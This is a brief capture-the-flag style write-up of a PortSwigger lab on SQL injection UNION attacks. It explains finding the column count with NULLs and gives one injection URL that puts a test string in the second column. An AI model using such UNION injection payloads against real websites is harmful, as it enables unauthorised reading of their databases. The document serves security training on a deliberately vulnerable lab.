# Lab: SQL injection UNION attack, finding a column containing text ## [Lab: SQL injection UNION attack, finding a column containing text](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text)

just try NULL Technique until you found that there are three columns and the second column is to retrieve string data {% code overflow="wrap" lineNumbers="true" fullWidth="true" %} ```sql https://[ID].web-security-academy.net/filter?category=Gifts' UNION SELECT 123,'yNa66k',NULL-- ``` {% endcode %}